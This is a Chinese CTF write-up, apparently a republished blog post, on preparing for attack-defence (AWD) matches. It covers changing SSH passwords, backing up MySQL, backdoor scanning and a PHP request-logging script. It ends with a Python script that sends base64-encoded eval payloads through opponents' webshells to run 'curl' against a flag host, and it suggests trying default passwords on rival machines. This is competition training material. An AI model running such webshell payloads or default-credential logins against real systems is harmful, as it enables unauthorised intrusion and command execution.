CTF线下AWD攻防模式的准备工作及起手式

  • A+
所属分类:逆向工程

我自己在服务器上搭了一个cms来模拟AWD场景。


0X01 改ssh密码
官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登陆别人的靶机,搞波事情嘿嘿嘿~


0X02 dump源码
首先可能没有给源码,需要自己把源码全dump下来。
1.使用XFTP或者FileZilla Client等图形化服务器管理软件

CTF线下AWD攻防模式的准备工作及起手式

2.使用scp命令

scp -r -P Port remote_username@remote_ip:remote_folder local_file


0X03 备份数据库

1. 找配置文件

CTF线下AWD攻防模式的准备工作及起手式

找到用户名和密码之后登陆mysql


2. 备份
[[email protected] ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
[[email protected] mysql]# mysqldump -u root -p Test>Test0809.sql,输入密码即可。


3. 还原
法一:
[[email protected] ~]# mysql -u root -p 回车,输入密码,进入MySQL的控制台"mysql>",输入命令"show databases;"。

看看有些什么数据库;


建立你要还原的数据库,输入"create database voice;",切换到刚建立的数据库,输入"use voice;",回车;导入数据,输入"source voice.sql;",回车,开始导入,再次出现"mysql>"并且没有提示错误即还原成功。
[[email protected] ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
[[email protected] mysql]# mysql -u root -p Test<Test0809.sql,输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令|)。
moodle_bak.sql是需要恢复的文件名


0X04 拿到源码之后先D盾查杀

CTF线下AWD攻防模式的准备工作及起手式

好吧这次什么明显的后门都没有,可能比较隐蔽。


0X05. seay扫洞

CTF线下AWD攻防模式的准备工作及起手式

虽然没有什么用,但是至少有个审计的方向,往哪里看。


0X06. 上监控脚本

本来按理说先放个通防waf的,但是听说十分容易被check down,最好不要乱动,有时候拿flag分还不如down的分多,这就很难受了。

这里上一个监控流量的脚本。需要在php文件前加个

require_once('waf.php');

贴监控脚本:

<?php
error_reporting(0);define('LOG_FILEDIR','./logs');function waf(){if (!function_exists('getallheaders')) {function getallheaders() {foreach ($_SERVER as $name => $value) {if (substr($name, 0, 5) == 'HTTP_')$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;}return $headers;}}$get = $_GET;$post = $_POST;$cookie = $_COOKIE;$header = getallheaders();$files = $_FILES;$ip = $_SERVER["REMOTE_ADDR"];$method = $_SERVER['REQUEST_METHOD'];$filepath = $_SERVER["SCRIPT_NAME"];foreach ($_FILES as $key => $value) {$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);file_put_contents($_FILES[$key]['tmp_name'], "virink");}
unset($header['Accept']);$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){$filename = $_SERVER['REMOTE_ADDR'];$LOG_FILENAME = LOG_FILEDIR."/".$filename;$time = date("Y-m-d G:i:s");file_put_contents($LOG_FILENAME, "rn".$time."rn".print_r($var, true), FILE_APPEND);file_put_contents($LOG_FILENAME,"rn".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);file_put_contents($LOG_FILENAME,"rn***************************************************************",FILE_APPEND);}
waf();?>


0X07. 审计

根据seay扫出的一大波结果(虽然没什么用)审计啊审计啊还是审计啊~

直接看也行,seay扫一下其实可能没有什么实质性的作用2333333


0X08. 时刻关注流量和积分榜

时刻看着自己的分数,看到自己被down了就赶紧恢复,不管被删库还是被自己删了什么重要配置文件或者还是上的通用waf脚本过不了check。

然后就是查看流量了。


0X09. 写脚本批量拿分

直接贴exp了:

#!/usr/bin/python#coding=utf-8import sys,requests,base64
def loadfile(filepath): try : file = open(filepath,"rb") return str(file.read()) except : print "File %s Not Found!" %filepath sys.exit()
def file_write(filepath,filecontent): file = open(filepath,"a") file.write(filecontent) file.close()
def getflag(url,method,passwd,flag_path): #flag机的url flag_url="192.168.45.1" #print url #判断shell是否存在 try : res = requests.get(url,timeout=3) except : print "[-] %s ERR_CONNECTION_TIMED_OUT" %url file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUTnn" %url) return 0 if res.status_code!=200 : print "[-] %s Page Not Found!" %url file_write(flag_path,"[-] %s Page Not Found!nn" %url) return 0 #执行命令来获取flag system,exec,passthru,`,shell_exec #[email protected](base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs= cmd = "curl "+flag_url #cmd = "whoami" getflag_cmd ="echo system("%s");"%cmd data={} if method=='get': data[passwd]='@eval(base64_decode($_GET[z0]));' data['z0']=base64.b64encode(getflag_cmd) try: res = requests.get(url,params=data,timeout=3) #print res.url if res.content: content = url+"n"+res.content+"nn" file_write(flag_path,content) print "[+] %s getflag sucessed!"%url else : print "[-] %s cmd exec response is null!"%url content = url+"ncmd exec response is null!nn" file_write(flag_path,content) except : file_write(flag_path,"n[+] %s Getflag Failed! You can check the shell's passwd!nn"%url) print "[+] %s Getflag Failed! You can check the shell's passwd!"%url elif method=='post': data['pass']='Sn3rtf4ck' data[passwd]='@eval(base64_decode($_POST[z0]));' data['z0']=base64.b64encode(getflag_cmd) try: res = requests.post(url,data=data,timeout=3) if res.content: content = url+"n"+res.content+"nn" file_write(flag_path,content) print "[+] %s getflag sucessed!"%url else : print "[-] %s cmd exec response is null!"%url content = url+"ncmd exec response is null!nn" file_write(flag_path,content) except: file_write(flag_path,"n[+] %s Getflag Failed! You can check the shell's passwd!nn"%url) print "[+] %s Getflag Failed! You can check the shell's passwd!"%url

if __name__ == '__main__': #存放flag的文件 flag_path="./flag.txt" shellstr=loadfile("./webshell.txt") list = shellstr.split("rn") #print str(list) i = 0 url={} passwd={} method={} for data in list: if data: ls = data.split(",") method_tmp = str(ls[1]) method_tmp = method_tmp.lower() if method_tmp=='post' or method_tmp=='get': url[i]=str(ls[0]) method[i]=method_tmp passwd[i]=str(ls[2]) i+=1 else : print "[-] %s request method error!" %(str(ls[0])) file_write(flag_path,"[-] %s request method error!nn" %(str(ls[0]))) else : pass #print str(len(url)) for j in range(len(url)): #调用执行命令的模块 #print str(j) #print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j]) getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)  print "Getflag finished!"



0x10. OVER!

安利几个链接:

《CTF线下赛AWD模式下的生存技巧》
《论如何在CTF比赛中搅“shi”》
《CTF线下防御战 — 让你的靶机变成“铜墙铁壁”》
AWD攻防赛webshell批量利用框架
针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具
AWD攻防赛脚本集合
CTFDefense

版权声明:本文为CSDN博主「郁离歌」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/like98k/article/details/80261603


如果觉得文章对你有帮助,请点击右下角“在看”

CTF线下AWD攻防模式的准备工作及起手式


本文始发于微信公众号(LemonSec):CTF线下AWD攻防模式的准备工作及起手式

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: